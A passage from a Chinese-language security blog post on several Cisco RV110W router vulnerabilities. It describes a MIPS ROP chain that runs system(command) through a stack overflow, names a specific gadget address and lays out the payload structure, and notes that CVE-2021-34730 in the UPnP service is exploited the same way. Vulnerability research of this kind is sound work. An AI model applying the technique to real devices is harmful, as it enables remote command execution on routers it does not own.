具体应该用哪条就要通过调试来确定了,我们希望执行 system 函数,所以要将栈地址加载到 a0 寄存器中,通过调试发现 0x000257A0 这条指令比较合适。另外还需要注意一点,这类 gadget 的转移条件并不是像 x86 一样通过栈中的返回地址返回,而是 jr <某个内存地址 or 寄存器>,我们选择的这条 gadget 转移条件是 jr $s0,也就是说,需要提前控制 s0 寄存器为下一个 gadget 的地址,才能保证 ROP 链顺利执行。

一般情况下 MIPS 函数返回的时候都会把栈中的部分数据转移到 s0 ~ s8 寄存器中,所以只要提前在栈中布置好 s0 对应的地址即可。

到这里必要的地址都找到了,payload 的构成应该是

1
padding + next_gadget_address + padding2 + gadget_address + padding3 + command

gadget_address 占据返回地址的位置,程序跑到这里先运行第一段 gadget,将栈地址加载到 a0,这个地址就指向 command,然后 jr $s0,返回到 next_gadget_address,也就是执行 system 函数,从而实现 system(command)。

asciicast

CVE-2021-34730

upnp 这个也是栈溢出漏洞,利用思路和上一个非常类似,执行 system(command) 即可,不过 upnp 服务开放在 udp 端口,在编写脚本的时候可能需要注意一下。

asciicast

后台栈溢出

漏洞利用思路和前面的相同,但是后台价值不高,就不演示了。

  • Title: Cisco RV110W 数个漏洞
  • Author: Catalpa
  • Created at : 2020-11-10 00:00:00
  • Updated at : 2024-10-17 08:23:59
  • Link: https://wzt.ac.cn/2020/11/10/cisco-rv110w-bugs/
  • License: This work is licensed under CC BY-SA 4.0.